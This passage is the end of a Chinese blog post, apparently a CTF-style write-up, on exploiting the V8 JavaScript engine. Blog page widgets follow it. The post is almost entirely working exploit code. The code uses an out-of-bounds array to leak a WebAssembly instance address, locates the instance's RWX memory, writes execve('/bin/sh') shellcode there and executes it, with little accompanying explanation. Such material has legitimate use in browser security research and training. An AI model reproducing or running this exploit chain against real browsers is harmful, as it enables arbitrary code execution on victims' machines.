                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var rwx_off_to_instance = 0xe8;
var wasm_instance_addr = -1;
var tmp = [];
tmp[0] = 0xdabeef;
tmp[1] = wasm_instance;

for (let i = 0; i < oob_length - 1; i++) {
        if (d2l(oob[i]) === 0x00dabeef00000000n) {
                wasm_instance_addr = d2l(oob[i+1]) - 1n;
                break;
        }
}

if (wasm_instance_addr === -1) {
        throw "FAILED to leak wasm_instance addr";
}

hexx("wasm_instance_addr", wasm_instance_addr);

oob[oob_idx] = l2d(wasm_instance_addr + 0xe8n);
var rwx_addr = dv.getBigInt64(0, true);
hexx("rwx_addr", rwx_addr);

oob[oob_idx] = l2d(rwx_addr);

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

for (let i = 0; i < shellcode.length; i++) {
        dv.setBigInt64(i*8, shellcode[i], true);
}

pwn();

效果如下:
在这里插入图片描述

  • 11
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值